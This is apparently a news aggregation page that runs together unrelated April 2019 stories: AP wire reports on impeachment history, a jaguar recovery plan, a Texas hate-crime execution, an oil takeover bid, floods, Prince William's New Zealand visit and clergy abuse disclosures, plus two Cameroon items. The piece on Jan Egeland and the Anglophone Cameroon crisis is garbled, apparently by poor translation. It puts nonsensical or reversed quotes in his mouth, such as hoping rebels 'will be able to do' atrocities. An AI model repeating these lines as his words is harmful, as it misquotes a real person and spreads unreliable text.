2019, after Trump spoke at the "Rx Drug Abuse and Heroin Summit" in Atlanta. (AP Photo/Manuel Balce Ceneta) High crimes and misdemeanors are vague and open-ended because, like other constitutional provisions, they were intended to last long beyond the lives of the designers of the Constitution, Georgia State University law professor Neil Kinkopf wrote on the bipartisan National Constitution Center's website. A guide to what those words can mean is found in the impeachments of two presidents, Andrew Johnson and Clinton, and proceedings that were begun in the House against Nixon. He resigned after the House Judiciary Committee voted three articles of impeachment against him, but before the full House acted in 1974. Johnson and Clinton survived trials in the Senate, where a two-thirds vote is required for conviction. Clinton and Nixon both faced obstruction of justice charges. The House Judiciary Committee also approved impeachment articles against Nixon for abuse of power and contempt of Congress. Clinton also was impeached for lying to a grand jury. In Nixon's case, the Judiciary Committee rejected impeachment over the secret bombing in Cambodia and Nixon's personal finances. Some committee members said neither qualified as the kind of offense that merited impeachment. When Clinton was impeached, the full House voted down a second charge of perjury and a charge of abuse of power. In 1868, Johnson's impeachment was the culmination of a bitter dispute between the president and the Republicans who controlled the House over Reconstruction following the Civil War. The specific trigger for impeachment was Johnson's attempt to fire Secretary of War Edwin Stanton, who favored a tougher approach than Johnson to the defeated South. Nine of 11 impeachment articles concerned the head of the War Department. In practical terms, impeachment has been used rarely since the Constitution was ratified in 1789. Twenty people in all, including Johnson and Clinton, have been impeached and only eight officials, all federal judges with lifetime tenure, have been convicted and removed from office. The infrequency of impeachment reflects that, at least for the nation's chief executive, it "can only be justified on the ground that the President has committed acts so dangerous to the public that the President may not be allowed to remain in office until the next election," Kinkopf wrote. Jan Egeland Twitter Jan Egeland, Secretary General of the Norwegian Refugee Council says the crisis in the North West and South West Regions of Cameroon is the largest emergency of recent years, but the world shockingly appears to be maintaining a suspicious silence. He told the BBC that France, the United Kingdom, the United States and Germany, all having a past "Stop the violence, start talking, start negotiating and reopening of schools, protection of hospitals that has been attacked. "Egeland told the BBC." The Norwegian Refugee Council says it has suffered in the crisis hit areas. His words: "I was in Buea on a Humanitarian Mission." I put it in their minds, families who were torched and their villages were torched. displaced. "The estimate is that all together, this senseless conflict has been displaced as many as half a million civilian people, mostly women and children. And most of them are out in the open. Others have gone to the towns where we can help. Jan Egeland wants UN & International Mediation (c) Twitter Egeland insists that after the effects of War in Darfur, Sudan, the situation in Cameroon stands out as the worst yet. "I do not know the word for the sake of my own sake." "I have been shocked by the amount of my suffering. this conflict, "Egeland said. He says with more than a million children out of school, and over half a million fleeing their homes, dialogue and negotiations. Hear him: "Let me give you one example, one million children are now out of school because of a conflict over the educational system, their curriculum, the teachers etc. You know, disagree on political issues. " The Secretary General of the Norwegian Refugee Council says the situation in Cameroon is screaming for a political response. But the silence is deafening. Somehow, one is not hearing the outrage when it comes to the situation in Darfur. The suffering is shocking - Egeland (c) Twitter "No indeed! There is a striking contrast to the global outrage of what happened in Darfur and we are underfunded." 10% of the humanitarian appeal of the United Nations and Nongovernmental Organizations is funded, so 90% of the funding is not there Which are the ones who are still under the influence, they are underfunded, they are underfunded, there are very few witnesses, there are very few He said, "Appeal for humanitarian aid, but it is one of the largest emergencies of recent years. Egeland, somebody who is known to hold back his punches condemned the excesses of the belligerents. "The rebels are obviously committing atrocities and we hope that they will be able to do that." But what about the government of Cameroon? Anglophone regions? " the BBC journalist asked Egeland. His response: "All sides are committing crimes in this war. "People say the French government is backing the Biya regime and allows this regime to continue with its intransigence when it could be negotiating," the journalist quizzed further. To this, Egeland called on the international community, especially the European powers who had a romance with Cameroon to step into a matter of urgency. TUCSON, Ariz. (AP) - A plan by wildlife officials to bolster the endangered jaguar population in the U.S. Southwest and Mexico by establishing two sprawling habitat areas drew criticism Wednesday from environmental groups. The final recovery plan for the large cats was released by the U.S. Fish and Wildlife Service. It calls for one habitat area from western Mexico into southern Arizona and southwest New Mexico. The other would stretch from eastern Mexico to northern Argentina. Mexico as well as countries in Central and South America would be primarily responsible for monitoring jaguar movements within their territory, according to the plan. Environmental groups slammed the plan. Michael Robinson of the Center for Biological Diversity called it "feeble" because it "relies entirely on Mexico to ensure the cats' survival." Robinson says the ability of the animals to roam the proposed area straddling the U.S. and Mexico could be stymied if the Trump administration builds a wall along the border. FILE - In this undated file photo a jaguar is shown. A federal plan to help grow the population of the endangered jaguar in the Southwest is drawing criticism from environmental groups. Only seven male jaguars have been seen in the U.S. since 1996. The U.S. Fish and Wildlife Service on Wednesday, April 24, 2019, released its final draft of a recovery plan for the jaguar. The plan calls for two main habitat areas. (Arizona Republic via AP, File) Even with gaps to accommodate jaguars, a wall would cut off the possibility of the animals recovering in their native range, he said. Defenders of Wildlife said the U.S. agency is overlooking millions of acres of potential habitat farther north in the U.S. Jaguars are currently found in 19 countries, but only seven male jaguars have been seen in Arizona and New Mexico since 1996. The animals have been protected under the U.S. Endangered Species Act since 1997. Shrinking habitats, insufficient prey, poaching and retaliatory killings over livestock deaths are some of the things that have contributed to the jaguar's decline in the U.S. Southwest over the past 150 years. The Center for Biological Diversity released video in 2017 of a male jaguar spotted on camera in southern Arizona. Conservationists had hoped it would turn out to be the first female jaguar to be seen in decades. HUNTSVILLE, Texas (AP) - The Latest on the execution of a man who orchestrated the dragging death of James Byrd Jr. nearly 21 years ago in Texas. (all times local): 7:20 p.m. An avowed racist who orchestrated one of the most gruesome hate crimes in U.S. history has been executed in Texas for the dragging death of a black man. John William King, who was white, received lethal injection Wednesday evening for the 1998 slaying of James Byrd Jr., who was chained to the back of a truck and dragged along a road outside Jasper, Texas. Prosecutors said Byrd was targeted because he was black. The 44-year-old King was put to death at the state penitentiary in Huntsville, Texas. This undated photo provided by the Texas Department of Criminal Justice shows John William King. The white supremacist on Texas death row who orchestrated one of the most gruesome hate crimes in U.S. history faces execution for the infamous dragging death nearly 21 years ago of James Byrd Jr., a black man from East Texas. King is scheduled to receive lethal injection Wednesday evening, April 24, 2019. (Texas Department of Criminal Justice via AP) The hate crime put a national spotlight on Jasper, a town of about 7,600 residents near the Texas-Louisiana border that was branded with a racist stigma it has tried to shake off ever since. King was the second man executed for Byrd's killing. A third man was sentenced to life in prison. ___ 6:35 p.m. The U.S. Supreme Court has refused a last-day appeal from condemned Texas inmate John William King, clearing the way for his execution for the dragging death of James Byrd Jr. nearly 21 years ago. John William King is set for lethal injection Wednesday evening for orchestrating one of the most gruesome hate crimes in U.S. history. Prosecutors say the 44-year-old King and two other white men chained Byrd to the back of a truck and dragged his body along a secluded road outside Jasper, Texas, in June 1998. Prosecutors said Byrd was targeted because he was black. The justices ruled about 30 minutes after King's execution was scheduled to be carried out. His attorneys had argued King's trial lawyers violated his constitutional rights by not presenting his claims of innocence and conceding his guilt. ___ 5:15 p.m. Prison officials say condemned killer John William King is stoic as he awaits execution for the death of a black East Texas man who was chained to the back of a truck and fatally dragged along a road nearly 21 years ago. The 44-year-old King, a white avowed racist, arrived midafternoon Wednesday at the prison in Huntsville, Texas, where he's scheduled for lethal injection for James Byrd Jr.'s June 1998 slaying. Prison agency spokesman Jeremy Desel says King said little following his transfer to Huntsville from death row, at a prison 45 miles (72 kilometers) away. King has declined any counseling from a chaplain and has selected no one to witness his punishment. Two of Byrd's sisters and a niece are to witness the execution. ____ 12 a.m. A man who orchestrated one of the most gruesome hate crimes in U.S. history faces execution in Texas. John William King is scheduled for lethal injection Wednesday evening in the June 1998 dragging death of James Byrd Jr., a black man from East Texas. The 44-year-old King, who is white and an avowed racist, was put on death row for chaining Byrd to the back of a truck and dragging his body along a secluded road outside Jasper, Texas. Prosecutors said Byrd was targeted because he was black. The hate crime put a national spotlight on Jasper, which was branded with a racist stigma it has tried to shake off ever since. King would be the second man executed in the case. A third man received a life sentence. In this Wednesday, April 10, 2019, photo Mylinda Byrd Washington, 66, left, and Louvon Byrd Harris, 61, hold up photographs of their brother James Byrd Jr. in Houston. James Byrd Jr. was the victim of what is considered to be one of the most gruesome hate crime murders in recent Texas history. (AP Photo/Juan Lozano) This April 12, 2019, photo shows the gravesite of James Byrd Jr. in Jasper, Texas. Byrd was killed on June 7, 1998, after he was chained to the back of a pickup truck and dragged for nearly three miles along a secluded road in the piney woods outside Jasper in what is considered one of the most gruesome hate crime murders in recent Texas history. (AP Photo/Juan Lozano) This April 12, 2019, photo shows a section of Huff Creek Road in Jasper, Texas, where James Byrd Jr., who was black, was dragged to death by three white men in what is considered one of the most gruesome hate crime murders in recent Texas history. John William King, the convicted ringleader of Byrd's death, is set to be executed on Wednesday, April. 24, 2019. (AP Photo/Juan Lozano) NEW YORK (AP) - A bidding war is breaking out over Anadarko Petroleum, with Occidental making an offer that it says is about a 20% premium to Chevron's deal announced earlier this month, a rare move not often seen in the U.S. oil industry. Houston-based Occidental Petroleum Corp. said the proposed combination would bolster its position in the Permian Basin in Texas and New Mexico, where it is already the largest oil producer. "We have been focused on Anadarko for several years because we have long believed that we are ideally positioned to generate compelling value from a combination with them," Occidental President and CEO Vicki Hollub said in a statement. Occidental said in a letter to Anadarko's board on Wednesday that its bid is worth $76 per share in cash and stock and would give Anadarko shareholders $38 in cash and 0.6094 shares of Occidental stock for each Anadarko share. Occidental puts the value of its proposal at $57 billion, including debt and book value of non-controlling interest. Chevron's deal was valued at $33 billion in cash and stock, or $50 billion including debt and book value of non-controlling interest. The merger and rival bids are strong evidence that the Permian Basin is hot and only gaining potential as global supplies decline in the wake of sanctions in Venezuela and Iran, said Ryan Fitzmaurice, energy strategist at Rabobank. This combo of file photos shows the logo for Anadarko Petroleum Corp. on the floor of the New York Stock Exchange on April 12, 2019, left, and a logo on the Occidental Petroleum building in Los Angeles on Jan. 26, 2010. A bidding war is breaking out over Anadarko Petroleum, with Occidental making an offer worth $76 per share in cash and stock that it says is about a 20% premium to Chevron's $33 billion deal. (AP Photos) "There's still a lot of runway out there in the Permian," Fitzmaurice said. "If people thought that the resource was dwindling or if the potential was becoming less, I don't think you would see these types of transactions." The competitive bids also indicate that in some cases, it makes more sense to expand by swallowing up a competitor than to invest in traditional oil exploration. "On the exploratory side, a lot of the easy stuff around the world has been already had," said Leo Mariani, managing director and equity research analyst with KeyBanc Capital Markets. "It's a difficult game, and it's a low probability game if you want to find really big pools of oil out there." In a letter to Anadarko's board of directors, Hollub said Occidental made three proposals to acquire Anadarko since late March, and that each offer was significantly higher than what Anadarko accepted from Chevron. She said Occidental was surprised and disappointed that Anadarko didn't engage with Occidental on a previous proposal. Anadarko said in a news release that its board of directors would carefully review Occidental's proposal to determine what course of action would be in the best interest of the company's stockholders. It said the board hasn't determined whether Occidental's proposal is superior to its merger agreement with Chevron. Chevron, of San Ramon, California, did not respond to requests for comment. It appears Occidental's management team didn't feel that they could negotiate successfully with the Anadarko board and management, so they took their proposal directly to shareholders, Mariani said. "A lot of the energy executives know each other fairly well, and a lot of them have been at the same helm at the same companies for many years, so as a result, we tend not to see this type of hostile approach in the sector," Mariani said. "It's incredibly rare." Occidental said it is looking to close on the deal during the second half of the year. Shares of Anadarko Petroleum Corp. jumped 11.6% to close Wednesday at $71.40. Occidental slipped 0.6% and Chevron's shares declined 3%. GUATEMALA CITY (AP) - Guatemala's electoral court on Wednesday annulled the candidacy of a presidential hopeful who was arrested in the U.S. last week and is accused of ties to Mexico's Sinaloa cartel. The tribunal said its decision was due to "the notorious deeds that were revealed" in the case of Mario Amilcar Estrada Orellana. It applied a constitutional article concerning the suitability of candidates for elected office. Estrada and an alleged accomplice were detained April 17 in Miami on drugs and weapons charges, accused of illicit electoral financing and plotting to assassinate political rivals and let traffickers use Guatemalan ports and airports if he were to be elected. Estrada has not yet entered a plea and is due to be sent from Miami to New York for further proceedings in the case. His party, the Union of National Change, has sought to distance itself from the allegations while asking for his presumption of innocence to be respected. Yoni Avila, a party official, said Wednesday that it would not appeal the disqualification ruling. "We will be respectful of the resolution from the Supreme Electoral Tribunal," Avila said. "The magistrates' resolution will not be challenged." UNITED NATIONS (AP) - A 20-year-old Syrian woman with cerebral palsy told the United Nations on Wednesday that hundreds of thousands of people with disabilities already "were forgotten in times of peace" and are struggling to survive in her country's long war as they "remain invisible." Nujeen Mustafa urged the Security Council at a meeting on the humanitarian situation in Syria to ensure that the urgent needs of people affected by the conflict are met, especially the disabled. She said many struggle "to even get to sites where they can get aid." Seated in a wheelchair, she described how her siblings carried her out of the city of Aleppo which was under attack after relatives were killed in the bombing of a funeral in June 2015. After a harrowing 16-month journey, she arrived in Germany where she is now a student. "The conflict has had a significant psychological impact, too," Mustafa said. "Even in my case, I still jump and get startled when I hear a loud noise, a reminder of those hours hiding in the bathroom" in Aleppo. Ursula Mueller, the assistant secretary-general for humanitarian affairs, told the Security Council that Syrians "have lived through a litany of horrors" and the disabled are "among those people who suffered the most - and are still suffering today." They are "often excluded and highly vulnerable," she said, and many lack access to health care and education and face a "heightened risk of violence and abuse." FILE - In this Aug. 15, 2018 file photo, people ride their motorcycle by damaged buildings in the old town of Homs, Syria. Syrian government forces came under separate attacks from Islamic State militants and al-Qaida-linked insurgents in different parts of the country that killed nearly 50 soldiers and allied fighters, activists and a war monitoring group said Saturday, April 20, 2019. In one attack, IS militants ambushed Syrian government forces in the desert of central Homs province Thursday night, setting off two days of clashes that killed 27 soldiers, including four officers, the Syrian Observatory for Human Rights said.(AP Photo/Sergei Grits) Mueller called Mustafa "an advocate for all those with disabilities in conflict settings, for women and for young people." And she said the U.N. must do "our utmost to support and protect persons with disabilities, and to ensure that their specific and diverse needs are met." Mustafa said people with disabilities "seem to be an after-thought," and their needs are largely overlooked in humanitarian efforts in Syria and neighboring countries where millions have fled. Like many others, she said, accessing basic services such as sanitation, health care and education was difficult when she fled Syria. "On my journey to Germany, I didn't find many accessible bathrooms along the way - and that's especially hard for a woman," she said. "You need to address the needs of people with disabilities, particularly women," Mustafa said. "This is not a favor. This is not charity. This is our rights." She said there is very little data on how many disabled people are in Syria and neighboring countries, which leaves them "invisible" when it comes to programs, policies and assistance. "People with disabilities were forgotten in times of peace. What do you expect in times of war? But that doesn't make it right," Mustafa said. "You need to count us because we count, too." The U.N. children's agency, UNICEF, estimates 1.5 million Syrians still in the country were disabled during the war, which is now in its ninth year, she said. Just in Idlib, the last major rebel stronghold, "there are more than 175,000 people with disabilities," many of them as a result of the conflict, she said. Mustafa said people with disabilities are a resource, not a burden, and should participate and be represented in all parts of the Security Council's work because they know best the risks and challenges they face and their needs. "Nothing about us, without us," she said. "Otherwise, we continue to remain invisible." TALLAHASSEE, Fla. (AP) - Legislation to restore voting rights to convicted felons except murderers and felony sex offenders has passed the Florida House. The Republican-dominated House voted 71-45 Wednesday for the bill that would implement a constitutional amendment approved by voters last November. The main issue is whether legislation is needed at all, and whether the bill sets up unnecessary hurdles for ex-felons such as requiring that all fines and restitution be paid. Republican Rep. Jamie Grant of Tampa, the main sponsor, said completion of a sentence includes probation and any financial obligations ordered by a judge. Opponents said those requirements would bar many former felons and violate the spirit of the constitutional amendment. The bill now goes to the Senate where a similar measure is pending. Rep. Geraldine Thompson, D-Windermere, debates the felon voting rights bill during session Wednesday April 24, 2019, in Tallahassee, Fla. (AP Photo/Steve Cannon) Rep. James Grant, R-Tampa, answers questions during debate over his House Bill 7089 - Voting Rights Restoration,Tuesday April 23, 2019 in the Florida House of Representatives in Tallahassee, Fla. (AP Photo/Phil Sears) Rep. Kionne McGhee, D-Miami, debates the felon voting rights bill during session Wednesday April 24, 2019, in Tallahassee, Fla. (AP Photo/Steve Cannon) Rep. Blaise Ingoglia, R-Spring Hill, debates the felon voting rights bill during session Wednesday April 24, 2019, in Tallahassee, Fla. (AP Photo/Steve Cannon) Rep. Blaise Ingoglia, R-Spring Hill, gets a reaction from Rep. Paul Renner, R-Palm Coast, as they confer during debate over House Bill 7089 - Voting Rights Restoration,Tuesday April 23, 2019 in the Florida House of Representatives in Tallahassee, Fla. (AP Photo/Phil Sears) DALLAS (AP) - The Latest on flash flooding from heavy rain over North Texas and Texas rolling plains (all times local): 5:45 p.m. A woman and her two young children died when the family car was caught in rushing flash flood waters in the West Texas rolling plains. The incident happened about 6 a.m. Wednesday at what's usually a small creek just outside Dublin, Texas, about 75 miles (120 kilometers) southwest of Fort Worth. Erath County Sheriff Matt Coates tells the Stephenville Empire-Tribune that crews launched a high-water rescue effort only to find the woman's husband clinging to a tree. He was taken to a hospital. The mother's body was later recovered from the swamped car. Their 7-year-old son was found 400 yards (365 meters) further downstream, and their 3-year-old girl was found 3 miles (5 kilometers) downstream. Coates says it's not yet clear exactly how the accident happened. An investigation is ongoing. The National Weather Service reports about 3 inches of rain had fallen overnight at the Stephenville Municipal Airport, about 26 miles (42 kilometers) northeast of the accident site. ___ 11:25 a.m. Dozens of vehicles parked at a Dallas airport are underwater after heavy rains moved across much of Texas and brought flash-flood warnings and high-water rescues. Water pooled Wednesday outside the terminal at Dallas Love Field Airport. Some vehicles parked in an underground parking garage were almost completely covered, with just their roofs poking out above the flood. Parts of the Dallas-Fort Worth area received up to 6 inches (15 centimeters) of rain and more is forecast through Wednesday evening. The National Weather Service has issued a flash flood watch for North Texas through Wednesday night and flood warnings for Central Texas and elsewhere. Hail and damaging winds are forecast from San Antonio to South Texas. A hard rain, hail and chance of tornado are forecast for the Houston area. WELLINGTON, New Zealand (AP) - Britain's Prince William on Thursday met with some of the police officers and medics who were the first to respond to last month's mosque attacks in Christchurch, New Zealand. The Duke of Cambridge arrived in Christchurch in the afternoon after earlier attending an Anzac Day service in Auckland alongside Prime Minister Jacinda Ardern. At the service, the prince laid a wreath of red and white flowers on behalf of his grandmother, Queen Elizabeth II. William is on a two-day trip to New Zealand and plans to meet later with survivors of the mosque attacks in which 50 people were killed and 50 others wounded. New Zealand Police Commissioner Mike Bush told reporters after the meeting with first responders that the prince had been very supportive and had wanted to make sure the officers and medics were looking after themselves. Bush said the prince told staff that "A good friend doesn't pick up the phone when people are in need. You travel to their place and you put your arms around them." Anzac Day is a memorial holiday on the anniversary of New Zealand and Australian soldiers, known as Anzacs, landing on the Gallipoli Peninsula in 1915. More than 10,000 soldiers from the two countries were killed during that World War I campaign in what is now Turkey. Britain's Prince William, center, meets with first responders during a visit to the Justice and Emergency Services Precinct in Christchurch, New Zealand, Thursday, April 25, 2019. Prince William is on a two-day visit to New Zealand to take part in ANZAC ceremonies and visit the two mosques where a gunman killed 50 people on March 15. (Marty Melville/Pool Photo via AP) On Friday, William will visit the two mosques where the massacres took place March 15. Britain's Prince William, center, meets with first responders during a visit to the Justice and Emergency Services Precinct in Christchurch, New Zealand, Thursday, April 25, 2019. Prince William is on a two-day visit to New Zealand to take part in ANZAC ceremonies and visit the two mosques where a gunman killed 50 people on March 15. (Marty Melville/Pool Photo via AP) Britain's Prince William and New Zealand's Prime Minister Jacinda Ardern attend an Anzac Day service at Auckland War Memorial Museum in Auckland, New Zealand Thursday, April 25, 2019. (Mark Tantrum/The New Zealand Government via AP) Britain's Prince William, right, meets New Zealand's Commissioner of police Mike Bush during a visit to the Justice and Emergency Services Precinct in Christchurch, New Zealand, Thursday, April 25, 2019. Prince William is on a two-day visit to New Zealand to take part in ANZAC ceremonies and visit the two mosques where a gunman killed 50 people on March 15. (Marty Melville/Pool Photo via AP) Britain's Prince William, right, watches as New Zealand's Prime Minister Jacinda Ardern, second right, is greeted with a hongi, a traditional Maori greeting, by Te Maire Tau of Ngai Tuahuriri Maori group, as they arrive in Christchurch, New Zealand, Thursday, April 25, 2019. Prince William is on a two-day visit to New Zealand to take part in ANZAC ceremonies and visit the two mosques where a gunman killed 50 people on March 15. (Hannah Peters/Pool via AP) Britain's Prince William, right, meets with Police St. Johns ambulance staff during a visit to the Justice and Emergency Services Precinct in Christchurch, New Zealand, Thursday, April 25, 2019. Prince William is on a two-day visit to New Zealand to take part in ANZAC ceremonies and visit the two mosques where a gunman killed 50 people on March 15. (Marty Melville/Pool Photo via AP) Britain's Prince William, center, meets with first responders during a visit to the Justice and Emergency Services Precinct in Christchurch, New Zealand, Thursday, April 25, 2019. Prince William is on a two-day visit to New Zealand to take part in ANZAC ceremonies and visit the two mosques where a gunman killed 50 people on March 15. (Marty Melville/Pool Photo via AP) Britain's Prince William, center, meets with Police St. Johns ambulance staff during a visit to the Justice and Emergency Services Precinct in Christchurch, New Zealand, Thursday, April 25, 2019. Prince William is on a two-day visit to New Zealand to take part in ANZAC ceremonies and visit the two mosques where a gunman killed 50 people on March 15. (Rosa Woods/Pool Photo via AP) Britain's Prince William, right, meets New Zealand's Commissioner of police Mike Bush, center, during a visit to the Justice and Emergency Services Precinct in Christchurch, New Zealand, Thursday, April 25, 2019. Prince William is on a two-day visit to New Zealand to take part in ANZAC ceremonies and visit the two mosques where a gunman killed 50 people on March 15. (Marty Melville/Pool Photo via AP) Britain's Prince William, right, meets with Police St. Johns ambulance staff during a visit to the Justice and Emergency Services Precinct in Christchurch, New Zealand, Thursday, April 25, 2019. Prince William is on a two-day visit to New Zealand to take part in ANZAC ceremonies and visit the two mosques where a gunman killed 50 people on March 15. (Marty Melville/Pool via AP) Britain's Prince William, right, meets with Police St. Johns ambulance staff during a visit to the Justice and Emergency Services Precinct in Christchurch, New Zealand, Thursday, April 25, 2019. Prince William is on a two-day visit to New Zealand to take part in ANZAC ceremonies and visit the two mosques where a gunman killed 50 people on March 15. (Marty Melville/Pool Photo via AP) Britain's Prince William, right, meets with Police St. Johns ambulance staff during a visit to the Justice and Emergency Services Precinct in Christchurch, New Zealand, Thursday, April 25, 2019. Prince William is on a two-day visit to New Zealand to take part in ANZAC ceremonies and visit the two mosques where a gunman killed 50 people on March 15. (Marty Melville/Pool Photo via AP) Britain's Prince William arrives in Christchurch, New Zealand, with New Zealand Prime Minister Jacinda Ardern Thursday, April 25, 2019. Prince William is on a two-day visit to New Zealand to take part in ANZAC ceremonies and visit the two mosques where a gunman killed 50 people on March 15. (Hannah Peters/Pool Photo via AP) Britain's Prince William, right, talks with Gabrielle Huria, third left, representative of the Ngai Tuahuriri Runanga Maori tribe, as he arrives in Christchurch, New Zealand, Thursday, April 25, 2019. Prince William is on a two-day visit to New Zealand to take part in ANZAC ceremonies and visit the two mosques where a gunman killed 50 people on March 15. (Hannah Peters/Pool Photo via AP) Britain's Prince William, right, shakes hands with Christchurch Mayor Lianne Dalziel as he arrives in Christchurch, New Zealand, Thursday, April 25, 2019. Prince William is on a two-day visit to New Zealand to take part in ANZAC ceremonies and visit the two mosques where a gunman killed 50 people on March 15. (Hannah Peters/Pool Photo via AP) Britain's Prince William, front right, and New Zealand's Prime Minister Jacinda Ardern, second right in front, attend an Anzac Day service at Auckland War Memorial Museum in Auckland, New Zealand Thursday, April 25, 2019. (Mark Tantrum/The New Zealand Government via AP) Britain's Prince William, right, stands with New Zealand Prime Minister Jacinda Ardern after laying a wreath during an Anzac day service in Auckland, New Zealand, Thursday, April 25, 2019. William arrived in New Zealand on Thursday for a two-day visit to commemorate wartime soldiers and visit survivors of last month's mosque attacks.(Brett Phibbs/SNPA via AP) Britain's Prince William lays a wreath during an Anzac Day service in Auckland, New Zealand, Thursday, April 25, 2019. (Brett Phibbs/SNPA via AP) Britain's Prince William lays a wreath during an Anzac Day service in Auckland, New Zealand, Thursday, April 25, 2019. (Brett Phibbs/SNPA via AP) SAN JUAN, Puerto Rico (AP) - Puerto Rico's governor pledged on Wednesday to lift the U.S. territory from a deep recession by creating more jobs, reversing a migration exodus and implementing a range of incentives as the island struggles to recover from Hurricane Maria. During a nearly two-hour state of the commonwealth address that followed a brief power outage at the seaside Capitol, Gov. Ricardo Rossello also said he plans to hold a yes-or-no referendum on statehood. He also criticized President Donald Trump's response to Maria, a Category 4 storm that hit September 2017 and caused more than an estimated $100 billion in damage. "As Americans, Puerto Ricans deserve a swift recovery from Hurricane Maria. It's been over a year after the catastrophic event. We are still waiting for the disbursement of most of the funds already allocated by Congress," Rossello said briefly in English before resuming his address in Spanish. The governor said his administration has faced several obstacles amid hurricane recovery efforts, including what he called unfair conditions imposed to obtain federal funds and a hostile attitude from some federal officials. "I reiterate to President Trump that he is discriminating against 3 million U.S. citizens in Puerto Rico," the governor said. Rossello also called on the U.S. Congress to review the way a federal control board overseeing the island's finances has been operating as Puerto Rico's government tries to restructure a portion of a public debt that exceeds $70 billion. He accused the board of wanting to wield more power than authorized. Puerto Rico's Gov. Ricardo Rossello delivers his commonwealth address at the seaside Capitol in San Juan, Puerto Rico, Wednesday, April 24, 2019. He pledged on Wednesday to lift the U.S. territory from a deep recession by creating more jobs, reversing a migration exodus and implementing a range of incentives as the island struggles to recover from Hurricane Maria. (AP Photo/Carlos Giusti) "It's time the members of that board understand this, and that instead of standing in the way of the government providing essential services, that they help it recover financially," he said. Rossello announced that his administration in July and August will start directing federal hurricane recovery funds to new housing projects, loans to stimulate construction and local businesses, and aid to rebuild and repair homes damaged by Maria. He said it would begin awarding long-awaited property titles. "I know this has taken time, and that it also has been a huge source of frustration," he said. Rossello noted that of the $20 billion in community development block grant hurricane recovery funds assigned to Puerto Rico, the U.S. government already has approved plans detailing how $9.7 billion of that will be spent. After his speech, members of the main opposition party criticized Rossello for not providing details on how he expects to achieve what he pledged. "The people are tired of promises, of hearing about all these dreams without knowing how they'll be reached," said Sen. Eduardo Bhatia. Added Rep. Rafael Hernandez: "It's a message of promises, of proposals. ... There are more questions than solutions." Rossello spoke hours after a court hearing on Puerto Rico's debt restructuring process at which a federal judge ruled that the control board and others may sue those accused of contributing to Puerto Rico's financial collapse. Puerto Rico's Gov. Ricardo Rossello delivers his commonwealth address at the seaside Capitol in San Juan, Puerto Rico, Wednesday, April 24, 2019. He pledged on Wednesday to lift the U.S. territory from a deep recession by creating more jobs, reversing a migration exodus and implementing a range of incentives as the island struggles to recover from Hurricane Maria. (AP Photo/Carlos Giusti) Puerto Rico's Gov. Ricardo Rossello delivers his commonwealth address at the seaside Capitol in San Juan, Puerto Rico, Wednesday, April 24, 2019. He pledged on Wednesday to lift the U.S. territory from a deep recession by creating more jobs, reversing a migration exodus and implementing a range of incentives as the island struggles to recover from Hurricane Maria. (AP Photo/Carlos Giusti) Puerto Rico's Gov. Ricardo Rossello arrives his commonwealth address at the seaside Capitol in San Juan, Puerto Rico, Wednesday, April 24, 2019. He pledged on Wednesday to lift the U.S. territory from a deep recession by creating more jobs, reversing a migration exodus and implementing a range of incentives as the island struggles to recover from Hurricane Maria. (AP Photo/Carlos Giusti) Puerto Rico's Gov. Ricardo Rossello delivers his commonwealth address at the seaside Capitol, in San Juan, Puerto Rico, Wednesday, April 24, 2019. Rossello pledged on Wednesday to lift the U.S. territory from a deep recession by creating more jobs, reversing a migration exodus and implementing a range of incentives as the island struggles to recover from Hurricane Maria. (AP Photo/Carlos Giusti) Puerto Rico's Gov. Ricardo Rossello looks out at lawmakers as he delivers his commonwealth address at the seaside Capitol, in San Juan, Puerto Rico, Wednesday, April 24, 2019. Rossello pledged on Wednesday to lift the U.S. territory from a deep recession by creating more jobs, reversing a migration exodus and implementing a range of incentives as the island struggles to recover from Hurricane Maria. (AP Photo/Carlos Giusti) BALTIMORE (AP) - The Catholic archdiocese in Baltimore on Wednesday published the names of 23 dead priests and religious brothers who it says were credibly accused of child sex abuse after their deaths. The release of the names marks a revision to an archdiocese policy that once prohibited the naming of priests and brothers who were no longer alive when they were accused of abusing youngsters. "It is hoped that this step will demonstrate the archdiocese's commitment to transparency and provide encouragement and healing for victim-survivors of abuse," archdiocese spokesman Sean Caine said in an email. Baltimore's archdiocese - home to the country's first bishop, first cathedral, and first diocese - has now publicly named and listed 126 clergy members accused of child sex abuse, with incidents dating back as far as 80 years. It began releasing the names more than 16 years ago as Catholic bishops across the country adopted widespread reforms as clergy abuse became a national crisis for the church in the U.S. But a Pennsylvania grand jury last year made very clear that more changes are needed. In a nearly 900-page report released in August, the grand jury in Pennsylvania alleged that more than 300 Roman Catholic priests had abused at least 1,000 children over the past seven decades in six dioceses. It also accused senior church officials of systematically covering up complaints. Following the turmoil of 2018 - which included the pope's removal of U.S. church leader Theodore McCarrick as a cardinal amid various allegations - Archbishop William E. Lori and members of the Baltimore archdiocese's independent review board asked that the policy prohibiting the naming of priests and brothers who were no longer alive be revisited with an eye toward greater transparency. Here's what's changed: The archdiocese will add the names of priests and brothers accused after their deaths if church investigators received an allegation of child sexual abuse from more than one victim, if a single allegation of child sex abuse is substantiated through external information that corroborates sex abuse, or if the name of the priest or brother was already published elsewhere in connection with an abuse allegation. In some cases, the information about the newly named priests and brothers came from Pennsylvania's grand jury report. Baltimore church leaders noted that many of the men whose names were released Wednesday also served outside of the archdiocese. The list released Wednesday hardly makes up all outstanding allegations brought to the Baltimore archdiocese. In a statement posted on its website, the archdiocese made clear that it is aware of "numerous additional allegations against individuals who are not named here." It says it plans to update its list of child sex abusers as it receives additional information. Earlier this year, church leaders in Baltimore's Catholic archdiocese said they had delivered over 50,000 internal files to Maryland's top law enforcement official amid an investigation into child sex abuse and were in the process of handing over more. At the time, Lori described the clergy sex abuse scourge that's been rocking the church as a "genuine crisis" and said Baltimore's archdiocese was working hard to cooperate with Maryland Attorney General Brian Frosh's investigation. ___ Follow McFadden on Twitter: https://twitter.com/dmcfadd Bernard Okalia Bilai Archives South West Governor, Okalia Bilai Bernard has said all Chiefs in the region are expected to march on May 20 along with their subjects under pain of losing their royal crowns. The regional chief executive was speaking in Buea Thursday April 25, 2019 as he chaired a preparatory meeting ahead of the 47th edition of Cameroon's National Day nationwide celebrations billed for May 20. "During the 20th May this year, all the Chiefs will march with a placard indicating their village and with their population behind them," Okalia said, adding that, "If that is not the case, it means those chiefs don't exist. And if you don't exist as a body, as a village, then you should neither be called a village nor be counted among villages." The Governor said the last time he asked chiefs to march, they disobeyed on grounds that they were "volunteers". This might have been the case because they were not receiving pay from the state. But now that they are on the state payroll thanks to the magnanimity of President Paul Biya, there's apparently no escape for them. "I said this some two, three years ago but the Chiefs refused to do it because they were still volunteer Chiefs. But today, know that the volunteerism is finish. Tradition 